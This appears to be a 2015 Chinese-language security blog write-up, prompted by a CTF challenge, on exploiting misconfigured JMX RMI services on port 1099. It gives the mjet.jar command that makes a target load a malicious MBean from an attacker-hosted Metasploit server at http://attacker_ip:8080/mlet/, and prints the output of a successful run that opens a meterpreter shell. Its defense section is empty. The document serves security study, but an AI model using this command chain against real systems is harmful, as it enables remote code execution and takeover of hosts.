~# n0tr00t Security Team

JMX RMI Exploit

16 Apr 2015 - Demon

[+] Author: Demon
[+] Team: n0tr00t security team 
[+] From: http://www.n0tr00t.com
[+] Create: 2015-04-16

利用方法

View: Exploiting JMX RMI

写这篇文章的起因是因为 ALICTF 决赛的其中一道题,是关于 @cnbird 出的一道 Linux 渗透的题目,里面涉及了一台机器开启了1099端口。赛后很多同学说对这个利用方式感兴趣,所以整理出来,让小伙伴们以后方便查阅。

1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。

原文中详细的阐述了这个漏洞的原理分析和Exploit的编写,这里就不再赘述了。如何利用这个漏洞直接调用执行 metasploit 中的 meterpreter payload 呢,国外已经有人写了个 JMX 的利用工具叫mjet,在 Github 上能够搜索到,传送门。利用方法说的很详细,先是通过公网一台机器搭建好 metasploit ,启动一个 java_mlet_server 模块,能够让目标机器去加载恶意代码。然后使用 mjet.jar 这个工具来 Exploit ,具体的命令如下:

java -jar mjet.jar -t target_ip -p 1099 -u http://attacker_ip:8080/mlet/

attacker_ip即自己公网装有 metasploit 的机器IP。执行后如果成功Exploit,会返回以下信息。

---------------------------------------------------
MJET - Mogwai Security JMX Exploitation Toolkit 0.1
---------------------------------------------------

[+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ...
[+] Connected: rmi://192.168.178.164  5
[+] Trying to create MLet bean...
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.178.1:8080/mlet/
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
[+] Loaded class: metasploit.Metasploit
[+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE
[+] Invoking: metasploit.Metasploit.run()
[+] Done

中间执行的过程一目了然。然后在 java_mlet_server 端就反弹了一个 meterpreter session 在后端了。

防御方案

参考